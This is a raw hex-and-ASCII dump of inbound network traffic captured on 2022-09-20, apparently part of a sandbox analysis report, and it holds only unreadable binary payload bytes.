84 de e0 6b b4 b4 a8 11 57 51 7d 1c fe ec fd 95 2a f0 b5 50 e0 f7 b2 02 bf 40 6c bb 89 0e 44 9e bc c2 72 b3 11 e5 ca 51 
56 ee 16 d1 59 c9 9b b3 a4 f8 b1 51 3e 11 b3 d0 1d 81 7e 7c 04 a5 70 44 49 e1 88 25 85 97 35 4e 2e 85 9d 42 0a 75 42 
0a bf f9 84 9f 14 ce 9a 65 1d b5 ea f4 be d3 b2 34 c0 0d ab 3e 8a 36 fa 7b 6c 1c 67 8a e0 d6 9f c2 71 52 c6 60 1d 14 f0 bd 
3f 35 3b a5 af cf 2c 72 be f7 05 86 0d eb 7b 79 d9 e1 2d 55 52 c4 27 03 6f ad 0c 14 6e e5 39 b3 c9 21 0b 31 25 fe 32 c3 
a1 99 bd 62 a6 de d0 5d e5 7b 2c ad ec a1 1b f2 72 65 4c a8 f6 7a 30 e6 eb f5 9e e8 d7 5e 25 a6 b2 5c f4 15 90 79 f5 03 
4c 94 f0 45 a5 d8 57 ea e1 50 c6 6e 39 64 a5 9f bf 1f 
Data Ascii: 0!7C[?7+?94gkWQ}*P@lDrQVYQ>~|pDI%5N.BuBe4>6{lgqR`?5;,r{y-UR'on9!1%2b]{,reLz0^%\yLEWPn9d

2022-09-20 10:10:08 UTC 5005 IN Data Raw: c3 98 8b b1 01 6f 42 81 b7 25 e0 4d 2c f0 86 03 de a4 02 ef c9 00 5a b7 16 78 bf bb f9 07 5f ce 7f d3 f6 b4 d1 
4d 55 d9 26 d0 d2 d0 56 5b b5 40 85 62 8b 14 a9 96 51 54 14 b1 20 75 24 80 da 40 45 ca 77 d5 91 71 c4 0f 3e c4 84 0f 
21 a5 4c 08 70 bd d4 01 47 66 d0 07 3e ba 40 e5 f9 31 ab 8c f5 bd aa 55 53 ec 23 19 57 75 82 af 33 04 ac 98 b7 cc b0 52 
53 97 41 11 ab 20 bc b3 f7 3e e7 de 73 6f d2 b4 33 6b bd 3f ed cd bd e7 63 9f 7d f6 d9 67 9f 7d f6 47 47 fa 06 1b fb db df 
5d 18 9b 05 a9 83 a3 03 3c dd d6 d5 d3 20 46 0a db d8 83 82 af c4 ee 53 5d e1 8d 27 21 3e a1 12 57 5d 11 f6 68 b1 d4 
2a df 2a 87 37 9e c1 97 a7 94 60 ed 69 8b f2 a1 12 18 18 d2 b2 71 24 85 7f b5 04 7f 01 c0 df b5 cd 08 ff 1f 0e b2 19 68 1d 
cb 2d 6e 93 cf dd 39 79 ee 7e ac 34 cf dd 45 7c ee ce 
Data Ascii: oB%M,Zx_MU&V[@bQT u$@Ewq>!LpGf>@1US#Wu3RSA >so3k?c}g}GG]< FS]'!>W]h**7`iq$h-n9y~4E|

2022-09-20 10:10:08 UTC 5012 IN Data Raw: 68 fa a6 23 d7 47 de c0 ad 65 b0 3f 7d d3 99 db c1 6d 23 8d 4a a9 df 2e 8a dc a2 cb 57 4d 8e 3d e5 a5 5f 96 
13 f9 56 da ff 16 09 23 a2 65 af ad 10 f9 a4 bc d4 67 22 63 01 08 b7 82 56 98 00 84 33 f7 db 10 f9 86 1c 97 2e 42 f1 b3 74 
d4 87 d9 cf 42 48 59 7b 47 ad fd ec cd b5 f6 76 53 70 36 11 ad da 61 dd f6 b2 70 b3 60 c6 02 c1 c3 3b 4c 5b d4 18 85 90 
f6 f7 c0 8a 8e 04 b1 2c 05 95 04 c2 a9 bd 9d 34 57 61 6f 87 a7 29 84 d5 77 11 8c e2 9c a9 84 47 ca d6 b1 41 99 43 5e f5 
70 da 36 97 76 74 25 2a 0a 7f 9b 4d de 9a e9 db 2e ed ed 70 f8 fd 17 45 29 c1 0f 9f 6b 1f 92 b1 a0 4d b1 6e 97 4e 7d b7 
2d 8c 69 71 1e 89 6b 2e 38 07 fe b2 08 e2 92 4e 62 36 b3 ad 95 0a 0b c9 dd ea d2 38 39 58 2c b2 1d a5 cb 87 97 bb ba 
2a ec c1 f2 d2 a0 3a a3 e6 13 92 04 b1 18 df 24 7d fc f0 
Data Ascii: h#Ge?}m#J.WM=_V#eg"cV3.BtBHY{GvSp6ap`;L[,4Wao)wGAC^p6vt%*M.pE)kMnN}-iqk.8Nb689X,*:$}

2022-09-20 10:10:08 UTC 5020 IN Data Raw: 1e e6 b4 c1 33 5d a2 66 da c6 a7 7e 34 9e ef 0a ad 7f 23 79 fd 43 9a 3a 3e c4 a7 97 89 72 13 c2 12 86 c5 0c 
e7 31 2c 64 38 9b e1 2c 86 05 0c 1d 0c f3 19 e6 31 cc 65 98 cd d0 ce d0 c6 d0 ca d0 c2 d0 c4 f0 ea 0e 15 0e 33 bc c4 70 
90 e1 00 c3 28 c3 3e 86 11 86 bd 0c 7b 18 76 33 0c 33 ec 60 18 62 d8 c6 30 c0 f0 08 c3 66 86 07 18 36 32 dc cf b0 81 e1 
3e 86 7b 18 d6 33 dc c5 b0 8e 61 2d c3 9d 0c 77 30 ac 61 58 c5 70 2b c3 cd 0c dd 0c d7 31 7c 86 e1 5a 86 ab 19 3e c5 
70 25 c3 e5 0c 97 32 2c 67 b8 90 61 19 c3 52 86 25 0c 8b 19 ce 63 58 c8 70 36 c3 59 0c 0b 18 3a 18 e6 33 cc 63 98 cb 
30 9b a1 9d a1 8d a1 95 a1 85 a1 89 e1 d5 17 b9 fd 19 5e 62 38 c8 70 80 61 94 61 1f c3 08 c3 5e 86 3d 0c bb 19 86 19 7
6 30 0c 31 6c 63 18 60 78 84 61 33 c3 03 0c 1b 19 ee 67 d8 c0 70 
Data Ascii: 3]f~4#yC:>r1,d8,1e3p(>{v33`b0f62>{3a-w0aXp+1|Z>p%2,gaR%cXp6Y:3c0^b8paa^=v01lc`xa3gp

2022-09-20 10:10:08 UTC 5028 IN Data Raw: 82 14 22 c5 c1 1c d9 2e 61 4a e1 77 c7 58 13 60 15 25 eb ca 68 ca 79 b6 fe 61 5d c8 1a a8 71 bd 2c a0 8f 14 
23 47 3f d5 48 e5 98 08 aa c1 f3 e5 a8 b5 d2 74 43 1e 14 f3 df 18 46 4d f9 b7 a1 3b eb 53 91 df 82 c5 f9 7a 72 e4 35 0d 
db dd f8 41 2a ee 47 2e c4 97 d0 01 14 8c 5a 05 59 64 6b 80 98 de 33 ee ce 31 c9 4d 8e 19 ca a7 94 71 f0 93 b4 e4 91 
19 1e f8 17 91 b6 69 54 c9 ff 85 bb 94 cf 92 f7 c4 64 b9 47 d7 71 41 35 7d e0 66 3b 97 9b 1a 03 d1 d5 a4 e6 e8 ed 87 99 
62 4d 75 82 b0 a2 56 36 07 0d 0f 2f b7 53 b1 f2 9a 8a 23 45 71 9a 29 a4 63 08 35 52 b6 aa f4 ae fd 2c 2f 6c a1 db 33 83 
bb 40 bb f1 b9 fc 93 59 7c fe 32 7e 5c fc 59 a8 17 f0 bf df c8 f3 65 f0 63 9a 16 d3 a1 58 fd 85 94 cf 0c 9a b2 df 87 d5 4c d0 
50 f8 10 86 92 e7 d9 36 69 63 19 21 14 bc e7 b0 9e f7 
Data Ascii: ".aJwX`%hya]q,#G?HtCFM;Szr5A*G.ZYdk31MqiTdGqA5}f;bMuV6/S#Eq)c5R,/l3@Y|2~\YecXLP6ic!

2022-09-20 10:10:08 UTC 5036 IN Data Raw: d9 9c 45 99 6b de 4a e6 5a ca e7 97 5f 85 25 cc 04 4a 4d 16 6f 45 bf b6 23 89 9c 54 28 f9 31 bb 7c 80 ca 97 
ce c0 5b 93 5f 49 58 f2 93 36 4f b5 90 13 53 e8 17 d9 70 4d d5 66 56 33 f5 33 83 89 c8 40 90 c1 e4 6d 64 e7 28 28 7e 21 
0a c8 84 fa 72 60 76 3c 28 06 5c f1 f4 1a e6 77 df 36 95 1d 59 98 cf 9c 3b 1c cb 62 8b f0 ec bf 22 98 d5 7f 20 d8 ca 3f 11 
2c 3b cf e4 97 8a f7 e2 09 0e c6 c6 8a 83 87 6b 2a 2c df bb a6 ec 53 30 2f cc 0b 1d d9 78 ab 9c 4d 53 ab f8 fe 31 9b 16 1f 
35 85 06 fd 3d 96 dd 65 1e e3 b7 96 72 c6 3b c5 08 f1 88 99 fc db 91 3e 2f 4c c8 66 c6 9a 7f 4e 0a f3 63 b1 b0 63 56 e5 
74 89 9c 17 68 29 ac c8 96 df f6 b1 fc 4d 81 d7 3e 87 d5 4e 58 af e4 59 ce 96 5b 53 1d fd 55 69 b9 b5 d6 60 2d a7 13 86 
df 2f c1 f9 36 4f d0 65 89 02 dc cb 4e 11 b1 4f b4 
Data Ascii: EkJZ_%JMoE#T(1|[_IX6OSpMfV33@md((~!r`v<(\w6Y;b" ?,;k*,S0/xMS15=er;>/LfNccVth)M>NXY[SUi`-/6OeNO

2022-09-20 10:10:08 UTC 5044 IN Data Raw: 2b 67 e2 4f 7f b9 44 71 7f 0c eb 8e 69 9d 7e fc 18 0a 5b ca fe d8 19 d0 33 ed f4 03 c2 2c a8 71 a2 b7 58 ac 8e 
9b 59 4d bc 6f 5a ef bd ea ac 59 bf a8 2e 2c 6b d6 de 61 16 ea 5b c1 8d e5 f4 25 ce a9 1c 59 e8 a8 6d 74 06 d5 ba d7 29 
5a b7 3d fd a6 f1 32 91 05 66 31 d3 d4 24 3f 99 7b 97 9d 30 1c 60 ab f7 b1 13 6f 47 ff b2 54 a7 cd af a5 b7 38 95 69 33 
7e a5 c9 8f 14 d4 54 9d 38 eb 9b cb 4d 31 41 86 9b de 62 f3 82 4f 54 81 08 34 e8 9c c5 ef 0f 33 1f be e1 fe 76 8a 11 a9 99 
8f e9 f3 0b f2 64 c5 84 d8 3f fd 11 2c 68 d1 8a 0a 2a 2a b4 c5 64 da 6d f9 cc 8a f2 b9 c4 d4 ae 8a 71 7c a6 be 35 d3 32 b4 
0d 04 65 c9 de d6 95 2b 99 bb 96 9d 8a cc 2a 37 07 59 67 da b2 e8 98 98 40 eb f1 1a b7 4e 10 f4 4d 8c 11 13 ff fc 00 d6 
b3 5d e2 03 ec 6a a3 5c ad 94 ab 85 72 05 e5 5a 
Data Ascii: +gODqi~[3,qXYMoZY.,ka[%Ymt)Z=2f1$?{0`oGT8i3~T8M1AbOT43vd?,h**dmq|52e+*7Yg@NM]j\rZ

2022-09-20 10:10:08 UTC 5051 IN Data Raw: 23 0b 2e 06 2f 82 19 b9 99 38 f1 68 02 d9 11 d2 15 87 ab f6 90 e3 9d 56 e3 e7 af 87 a4 5b 71 37 e0 6d d7 a5 
52 93 ec 29 18 e3 ba 1d c2 2f 9d 80 fe 05 9b a5 21 57 52 f1 50 f7 02 58 db 76 3e a8 3c 5b 48 8d bc 4e e2 01 ef 41 58 7f 
ec 1d ac df b2 2e 1c af 30 0a 5e 7d fe 8d 7d fb 2e 81 07 d5 50 ca ec 3e 19 ac ee cf 84 7e 0b 23 60 c0 98 8a d2 fd 0a 11 
30 76 cf 38 f0 49 ec 85 da fb 9f 50 30 17 b0 f6 be a9 b0 75 c4 40 ac 77 61 1a 59 3f a9 2e ee db e0 0d 33 06 2f c1 7f 62 dc 
c1 66 6e 2d 34 94 1c 27 1d 9d 35 1a 36 77 7d 21 5d 53 b7 c4 03 86 1d 98 ee 30 06 9f 6d dd 0b 1b 36 ed 86 94 32 6b c9 
8d e9 43 60 5d f5 9d d2 fd ca 35 61 a2 f6 0d b6 7a 3f 1c c3 8f de 41 bf 73 db d0 77 65 81 34 be f6 50 f8 67 94 39 9c 7d b6 
05 b3 66 cc 82 49 4f 5a e2 de ab 33 c9 c6 bf 5e a1 ef 
Data Ascii: #./8hV[q7mR)/!WRPXv><[HNAX.0^}}.P>~#`0v8IP0u@waY?.3/bfn-4'56w}!]S0m62kC`]5az?Aswe4Pg9}fIOZ3^

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 5059 IN Data Raw: bc 3f 63 5c a5 74 f4 8f 8b 45 95 7e 24 f9 b8 bd 1d 4e 1a 3b 18 a6 be 36 83 37 19 69 b0 79 d8 2c ec 11 b0 07 
3d fe 32 c3 8a ab 6a e3 f8 27 54 ef 7f ff b7 b4 3b 7b 1f 0c cb 09 94 f6 a7 57 c7 17 66 6a 72 f8 de 00 98 f7 b6 1c 56 9b 3d 
0b 66 95 5e 43 ce 34 7b 85 13 12 2e 48 7b cd 66 40 af de 8f a0 c9 e6 93 68 7f 7d 8e d4 6f 5b 24 0c b5 bd 4a 6c d6 dc 80 
11 5f 36 62 e9 cc ae 30 68 f5 2c 3c b2 f8 09 b8 69 ae c3 ce 57 61 50 6b d1 6c 69 44 42 0b 98 f8 e1 01 b6 b5 5e 8b 8d 0f 
a4 62 c8 a7 e5 10 f7 b0 b9 d4 f4 e7 df b0 27 77 00 6c ec 92 88 67 82 4e 42 97 3e 17 e0 7b 0f 07 58 b7 f5 3e dc b8 be 93 
fc 6c f9 05 84 61 d9 92 2e cb 05 af fb aa 70 57 fd 79 10 9a b0 8d 1c f3 fe 1b 8f 1e ac 23 25 93 c3 38 a3 45 39 88 78 1b 03 
53 d7 b7 91 26 65 ff 03 15 ce f7 c1 f5 bd b2 70 8b 
Data Ascii: ?c\tE~$N;67iy,=2j'T;{WfjrV=f^C4{.H{f@h}o[$Jl_6b0h,<iWaPkliDB^b'wlgNB>{X>la.pWy#%8E9xS&ep

2022-09-20 10:10:08 UTC 5067 IN Data Raw: e1 c7 ca b3 68 b6 96 3e 98 51 76 42 3d 8f 28 02 0e c3 36 a4 e1 da 21 b8 c9 63 0b 6a d0 ea 06 5f 23 fe c0 1b 
cb e7 03 a7 74 40 52 4b 3c 94 cf 2f 46 d3 c8 4c e0 a5 7b 78 64 ef ad 43 40 27 7f 1c 51 9c 7b 03 9d b6 6c 85 33 57 f1 90 
2a e2 33 6a c5 d9 02 1e df f8 8a ea 53 4c 82 bb 93 7a c8 6d df 42 28 fe ba 18 89 95 16 05 66 b4 11 b0 b9 51 01 88 55 84 
c0 23 ac 38 c0 47 79 14 61 91 dc 02 df 53 5d 83 be f2 69 20 24 65 1e c9 23 84 42 19 0b 43 d0 75 9b 01 8a 6e d0 85 46 fe 
7b 61 b3 84 06 62 4f 27 05 29 3c 8f 02 6a 1f 5d a8 90 bb 0a 52 39 3b 81 d0 b9 10 54 c2 ab 05 20 5a 17 a0 9f 6f 11 c8 37 
e7 43 0d 87 df 00 85 47 5d f0 b2 53 3a e4 9b 0c 44 ae 4d 2e 00 9d 2f b7 90 63 16 27 a0 d2 81 4f 68 ca a6 10 78 bd 22 11 
d5 fb 94 02 66 31 1f ae b2 e5 13 14 56 93 83 85 4b 64 60 
Data Ascii: h>QvB=(6!cj_#t@RK</FL{xdC@'Q{l3W*3jSLzmB(fQU#8GyaS]i $e#BCunF{abO')<j]R9;T Zo7CG]S:DM./c
'Ohx"f1VKd`

2022-09-20 10:10:08 UTC 5075 IN Data Raw: cf fe c2 b0 29 fa ab 90 eb 33 68 89 15 fc 4d cc bf af a5 5f 88 af 2b ce 93 a8 0c 22 38 9c 85 df fa 34 46 e0 f0 38 
6f 3f 6c c6 89 7a 42 54 58 fc 5f 87 24 84 c3 b4 1f db aa df eb fc 9c 2b 3c 26 7d d8 3f 31 fe d3 aa 89 80 c0 df c6 e1 e7 4f 
20 0a b1 d6 19 71 d9 30 d1 15 be 6f 93 3f 6c cd 5f c5 27 1a 1e 22 d7 5f 79 b0 25 f8 a9 65 3f 38 c0 bf ac ff 6f 2a 29 02 fe 
61 fd ff 52 fe 5b 13 bf d1 ff b6 fa 7f a9 13 b6 be 10 bf 57 f8 41 f3 0f 71 c6 6c d4 8f 55 0b 0a 0e c4 88 00 50 ba 7a 06 0a af 
9b 00 1c 16 fb 61 4f 18 87 f0 6f fb 40 38 14 d3 03 e2 da 48 72 07 61 db d8 0d ab 46 08 f4 c7 6a 13 15 9f f2 47 85 b5 d6 83 
3c b0 1d ff 1b 91 10 ee ef 89 35 fc 83 f4 fb 8a 50 72 07 11 49 eb 82 fe 46 59 eb 3d d0 2f 28 88 28 02 a5 30 f1 d2 d0 de ad 
67 84 d3 d3 c2 99 eb ed 36 52 b7 
Data Ascii: )3hM_+"84F8o?lzBTX_$+<&}?1O q0o?l_'"_y%e?8o*)aR[WAqlUPzaOo@8HraFjG<5PrIFY=/((0g6R

2022-09-20 10:10:08 UTC 5083 IN Data Raw: 19 d7 42 cb 7b f3 56 01 f9 e8 e4 9b b3 65 8f 47 49 05 bd b9 97 49 85 a2 8b cd 23 43 d8 36 47 44 58 51 f7 88 
21 91 62 5f 3e c5 70 87 29 a7 8a 5f ad cb 68 68 f0 38 ed d9 83 8e 2d e9 88 ee 6c f8 34 7c b0 98 09 99 8f 3a 58 b5 5b 7f 
ec db ce 81 78 cb d4 a0 e2 2d 66 66 ba 5b 2e ed 9f 52 7e fa a8 b3 bf 49 b4 c5 d5 44 57 f4 cd 37 29 37 2e dd 1c 05 11 7d 
6f 23 76 15 fe 09 06 d3 34 03 46 5f d9 73 f6 85 4f 6e 86 cb fa d3 8b b3 eb 5c 4d d4 be c6 c9 47 7a 50 cb ce c9 36 31 ea 
1e ce 3a 96 50 d3 99 a2 98 46 4d f7 7e 3a 6c fe 05 09 81 1b 01 ef aa 2a 2e 76 fb 94 72 19 be 9f 7e df 8a be 56 74 d6 9b 
0c c9 b7 dc 7f 74 eb d4 f6 1d 2c f3 1a 7b 87 1a 6c 3a 97 50 06 51 b5 b6 a6 67 95 bb b4 29 c9 8b 3b d4 0e fa f6 d2 79 7c 
ec 09 57 67 ea 69 4d 95 2d 66 e3 8e 74 72 60 63 7b e6 9d 
Data Ascii: B{VeGII#C6GDXQ!b_>p)_hh8-l4|:X[x-ff[.R~IDW7)7.}o#v4F_sOn\MGzP61:PFM~:l*.vr~Vtt,{l:PQg);y|WgiM-ftr`c{

2022-09-20 10:10:08 UTC 5091 IN Data Raw: 23 4a 09 7e e3 94 97 7a aa 1e 6c 7e 06 13 b3 b6 ac a4 7b 85 ab 77 f4 ec b5 52 6e 21 d0 d1 45 58 e5 c6 9d 36 
f1 a1 c8 3b 51 ea 78 9f e1 92 a8 da 8b c1 53 14 96 ae 84 6c 37 b3 a4 e5 e8 c9 9b a1 62 32 9d 67 a7 9f d6 28 8c e0 de 31 
ea 4d b2 1f 6e 90 44 6a 9d cb 56 f7 6d 9d ed c8 b3 33 f1 52 39 bd 55 36 aa b4 ce 92 5b cc 34 54 4a 7d 5f 45 50 96 dd f1 
fb 67 dd 0f df 63 ac 99 a8 b2 d1 b1 57 d0 c0 ab 2e b4 25 34 33 7e ad ae b9 39 eb 2a f3 79 0b 79 b5 6c 49 3a f5 67 b7 d8 
de 13 f6 fb 57 9f dc d3 d0 dd 6a 39 7b ef ed 38 c1 fc d5 ed c3 33 95 83 bc b7 5f b5 47 b7 37 98 d0 4f 3c f3 3d 2c eb e3 34 
7a 99 fe 3d b3 8a b4 44 86 e2 2d ee bb 0a d7 5c 2b 86 1c 03 b5 5c 87 b6 47 33 38 4b 7e 3e 58 9c c2 1c d5 15 70 6f 7f 41 
fd 09 ea 5d 7a 9a da 01 be 22 41 05 1c 0c d6 ae b4 d9 
Data Ascii: #J~zl~{wRn!EX6;QxSl7b2g(1MnDjVm3R9U6[4TJ}_EPgcW.%43~9*yylI:gWj9{83_G7O<=,4z=D-\+\G38K~>X
poA]z"A

2022-09-20 10:10:08 UTC 5098 IN Data Raw: 79 df 57 30 69 e5 3f 5c 39 cd e5 7e f5 8e d5 6e be aa 92 66 3f 4b 76 73 f3 a7 14 af 5d 5b 3f 7f 50 93 7f bb ce 
81 0b fb c7 5f a1 9b ca 6a 38 5e 8a 8e ca fc 21 d6 f0 f8 c2 b9 4a 7b 13 63 bf 87 8b b7 d4 d4 e5 5c 5e 46 f3 29 38 67 76 7c 
de bd a7 f3 6a b2 77 bc 1d 32 91 f5 da 79 c5 de e4 2d 15 bc ea 87 d9 99 d7 af f6 61 cc 38 77 5b b3 e2 86 de 3e 29 e3 91 
bb 6f 9f fb 6c f1 78 a9 46 1f b5 82 e1 2f 2e e5 ed 93 99 5d f8 60 6e 68 eb 50 b9 c4 65 e3 e2 5e de 2e 68 f0 0d 5b 53 31 18 
d1 86 0c 67 ee 3b 71 8d 73 a2 8c b9 ea c5 8c 62 07 31 5e f3 b1 3d 15 b9 ee e3 2f 0c 64 f6 3d a4 c4 cd 61 bb 19 a5 15 78 
b8 f6 89 be 7a 4c c9 72 92 8d b5 8e 41 e3 9d 1d 53 a4 66 2e 50 34 1f 2f 15 f3 de ac 4c 23 62 94 78 85 b8 b9 d5 43 db d8 
7b 31 a3 66 4c f7 5b 7e 4b 7f 11 33 75 47 92 72 
Data Ascii: yW0i?\9~nf?Kvs][?P_j8^!J{c\^F)8gv|jw2y-a8w[>)olxF/.]`nhPe^.h[S1g;qsb1^=/d=axzLrASf.P4/L#bxC{1fL[~K
3uGr

2022-09-20 10:10:08 UTC 5106 IN Data Raw: a8 25 43 88 fb 95 cb d0 12 49 35 e2 b1 a7 06 cd 4b f1 0b 5a 5b 96 44 ab 74 39 43 f4 9e fb 96 38 f9 c0 09 ed ff 
78 92 16 ec 53 84 bc 15 7d 88 9c 8f eb 10 2d fa 06 8d 91 25 85 c2 92 10 6d cf 32 1d d4 1c f3 80 fe ac e8 36 ba de ef 27 
4d e2 84 04 91 20 25 41 70 d5 1d 10 d7 e0 0d 8d 69 9e 8e 62 73 b5 e8 b3 ec 54 51 a8 fa 4a 5a f8 8f 95 c4 e6 c7 19 48 bf 
69 37 e1 f0 63 0b dd 97 2f 4b 6c cc be 4f df d2 ac 4c c8 54 a5 d1 56 b3 3e a2 85 67 86 d0 ca bd 46 12 e1 d2 2e f4 35 ee 
87 08 7a af c1 68 47 f3 5d 42 2c 7d 24 1a 7f 57 8e c8 7e 55 45 bf 80 8a 89 cc bc 74 54 7f 21 18 49 8f 56 a4 55 df fa 40 cc 
69 7f 44 3b ca 6e 42 8f fa 25 11 79 cb 96 12 03 4b aa e9 cf 56 6c 43 c5 15 0f e9 3f 8f 47 a2 53 0d 85 f4 08 ab 3b c4 15 33 
4d 3a db 42 92 70 de 27 4f 5b 2c b0 21 96 3e 62 
Data Ascii: %CI5KZ[Dt9C8xS}-%m26'M %ApibsTQJZHi7c/KlOLTV>gF.5zhG]B,}$W~UEtT!IVU@iD;nB%yKVlC?
GS;3M:Bp'O[,!>b

2022-09-20 10:10:08 UTC 5114 IN Data Raw: 32 f0 d1 1d c3 20 bf 3f 16 ce 66 45 cf 8f e1 bc 84 d3 5a 2d 69 a4 a3 65 a0 35 41 4b 57 07 0f f6 51 8c 3f ad 84 
cf a2 cc ce 07 0c 74 0d c9 9b 90 0c fc 8f aa 1a 7e b3 12 e0 cb 18 34 53 4b 4b 8b 1f 85 67 ea 2c 3c c4 f8 a2 d0 c0 ce af b5 
c8 7e cd c6 83 17 87 2f fc 3e d6 c9 d5 9e 69 eb e1 21 bc f5 d7 b5 d8 44 b4 d8 c6 d6 ca db 1e 1f ca 41 cc 30 7c 52 8a 65 
76 5f 8c b0 03 c8 67 15 b8 61 2c 3c 5c ab 30 54 9d 6c 98 96 4e 4e 4c 1b 57 67 3c 54 7a ce ef fc 68 e7 64 69 ef a9 26 bc 
11 24 5a 15 5f 6b 04 06 08 6f 7a ea 09 bf 2d c1 19 87 e2 2d 86 3a 73 84 3b d1 fd 91 15 4b b6 c1 2f b1 a0 98 30 a6 47 49 
11 c8 e2 4f 69 70 4c 8f 34 26 01 ec 40 16 ee a6 66 c8 84 bc 98 21 ef ca 98 21 7b 3c 21 f2 b0 74 42 d6 1e 3e 6e f8 f0 c4 b3 
23 84 4f 42 76 8e f6 c8 ce 13 09 27 b9 d6 ae 4e 
Data Ascii: 2 ?fEZ-ie5AKWQ?t~4SKKg,<~/>i!DA0|Rev_ga,<\0TlNNLWg<Tzhdi&$Z_koz--:s;K/0GIOipL4&@f!!{<!tB
>n#OBv'N

2022-09-20 10:10:08 UTC 5122 IN Data Raw: 57 3f 03 5a 3a 1e f5 28 ff fd ee f2 93 fd aa 94 dd d2 b1 bc 47 7c 0a b5 ff 38 5e 39 f0 cf db 27 fb 95 1d 8e 57 e9 
51 fe 51 d4 fe e3 e5 4e 41 2d 1d 46 30 3d 5f 94 5e b5 b3 5f 05 e0 f8 ab 30 bd ed 12 7a 72 2f 7a 19 41 9e 7d 44 ab 0a c7 
97 72 bc 0e 8d f3 cb 31 88 c7 58 9a bb 70 78 11 96 e7 0d 5e 67 02 5e 27 a4 c7 fe 04 75 ef 8f 2c ae a7 45 38 3e a6 47 3c 
ef 3f ea 27 17 70 3a 56 8f 74 be 3d fa 89 d8 dc 96 8e c4 1e f1 f1 3d fa 89 3f 8e b7 ed 11 6f d9 63 fc 59 86 e3 ab 7a c4 57 
74 c7 93 fd 64 42 48 4b 47 ef 1e f5 2c d5 a3 9f 8c 09 fd f3 f8 48 f6 13 7f 1c 6f d8 23 bd 1e 01 fb 49 5c 58 4b 47 6b 8f f4 1f 
7a f4 13 d7 f0 96 0e df 1e f1 3e 3d fa 49 5a f8 9f eb 9d ec 27 77 c3 7f 3f 6f e8 ea 27 cf 70 bc 01 8c 8f f8 cf e6 15 4f 71 ba 0
f 3d b6 db dc a3 5d 8e 70 ff 7c ce 
Data Ascii: W?Z:(G|8^9'WQQNA-F0=_^_0zr/zA}Dr1Xpx^g^'u,E8>G<?'p:Vt==?ocYzWtdBHKG,Ho#I\XKGkz>=IZ'w?o'p
Oq=]p|

Timestamp
kBytes
transferred
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2022-09-20 10:10:08 UTC 5130 IN Data Raw: 15 35 80 ba 9f 0c fa 83 c7 ad 6d 84 b4 9f ba 03 34 de 77 e7 68 3f f5 ba 13 7c 3d 36 00 fa 23 1c 7a 59 fd 88 78 
a3 4d 3c 17 b3 e3 2d b5 d9 de 0f d3 e6 6f d5 50 5f 39 9e 1b f3 a9 2f 6c f8 43 da f2 3d bc 72 79 6f 41 3c ab bb 91 0c 79 19 
fd 91 35 bd 5a 97 97 65 a0 9f 28 2c db db b9 73 57 cb 49 66 fe 33 6d fd 3d e2 4d 39 fb 0f d9 b7 e9 dc c5 10 c2 fe c2 ca be 
3d 50 fc 0e 31 c9 cb 05 1f a7 33 47 0b f3 3f 7c 7a 7a e4 d0 c7 fc 7d 1c aa fb a7 1f 5b f3 d4 e8 2b e7 7c 92 b6 fc 76 6e b9 
7b 58 c2 88 d7 3e 3a 2f 9e b1 ef e9 1e 5d b4 a7 41 e7 c7 37 64 f8 b6 4b da 6b 3e 91 e1 ef 97 91 ff 6c a6 7c 25 d9 08 22 
1e cf e6 4a fc 39 01 ba 55 fd 0d fe cc b0 29 dc f7 d9 d4 39 39 e8 9f 9b e8 ff 6d 9a 2f 5d 23 28 dc f9 10 e9 92 f7 41 e7 dd 
b5 4d b2 f1 03 bb 62 f9 be 95 ba 27 cb e8 
Data Ascii: 5m4wh?|=6#zYxM<-oP_9/lC=ryoA<y5Ze(,sWIf3m=M9=P13G?|zz}[+|vn{X>:/]A7dKk>l|%"J9U)99m/]#(AMb'

2022-09-20 10:10:08 UTC 5137 IN Data Raw: d0 86 d4 d0 f2 ae fa 24 fd 07 fd 17 fd 9e fe 44 8f 36 24 9c e0 29 23 b5 59 d7 fc c4 9c 6b ae 33 b7 40 bb 4b c0 
f7 35 b1 5a 58 87 ac e7 96 6b 27 d9 cb ed 7d f6 cf f6 73 3b 95 d3 c5 99 e9 e4 f1 ca 62 0c b7 3c 7f 01 fc 7b 64 8a 92 df 68 
18 8b 00 ff 7f ca be 63 57 59 2f 3e 96 4f e6 47 51 79 31 a2 8e e8 2e 46 8a e5 e2 08 2a af 84 ac 0d bf 3a 42 2e 93 87 a0 
07 c5 b5 72 41 9f 7e 82 3f bd ae 65 06 f3 94 d1 db e8 23 5e a3 eb ba fe 42 0f 43 cf ea 1b 33 8d 6b 46 09 b3 86 39 1c 3d 
3b 05 57 7a d7 7c 0c 7d 4e 65 e5 b4 0a c1 77 e9 96 87 7e b6 b6 ba a0 f2 be c0 fa ec b1 ce c2 7f 55 b3 eb da 5f da f3 03 
26 ca e1 d4 70 26 3a 52 75 57 a7 54 4d 37 d1 7d e6 ee f7 ce 7b 3e 99 f8 f7 2d a6 27 e3 c9 7c b2 94 9c 23 bf 93 e7 24 0f 
b5 c0 1f be 56 64 63 25 c0 22 ef b1 3a f0 56 7d e1 
Data Ascii: $D6$)#Yk3@K5ZXk'}s;b<{dhcWY/>OGQy1.F*:B.rA~?e#^BC3kF9=;Wz|}New~U_&p&:RuWTM7}{>-'|#$Vdc%"
:V}

2022-09-20 10:10:08 UTC 5145 IN Data Raw: ac 25 38 f2 19 cb c6 3d 5e 8b 27 22 63 f8 a8 f9 5d e4 86 13 93 da 76 ad b6 de 12 9e eb 99 3e c0 98 6f d4 43 
fa 5c e8 7c e7 44 a8 62 aa 27 b2 e7 21 f8 c5 48 37 1f f8 ec 37 b7 99 37 c0 db e1 5d 47 6e 88 0c f6 92 e5 81 9f 1d 0f b5 
d9 84 d4 19 41 4b d1 8d 48 cf d3 c1 c3 47 d9 45 56 9e b7 e4 8b f8 1e 7e 99 3f e4 59 c4 3b 70 b7 0d 90 62 0e 8b db e2 99 
c8 03 54 d6 92 cd a1 b5 e1 c8 0d 4c ab ab b5 d0 46 68 9f c3 df b6 d7 47 e9 4b e0 fe 5e 22 3f 97 36 1c e4 c2 68 f3 ba 59 
0c ab 19 6f 75 b6 16 5b ab c0 5b 27 ac fb 56 09 28 cb 78 54 e7 2f f6 0d 3b 3d d2 43 15 e4 87 2f 9c b9 ce 4a 67 97 73 c7 
c9 89 be d7 86 27 1f 86 14 b1 0d b5 7a 0a fa 92 d1 2d 01 cf fb 3e 7c e2 5a f7 38 32 45 4a af 90 47 bd ce de 78 6f 19 5c 
c4 99 e4 5c 16 1d 19 ec 3b 96 c8 18 7d c9 97 64 35 3c e2 
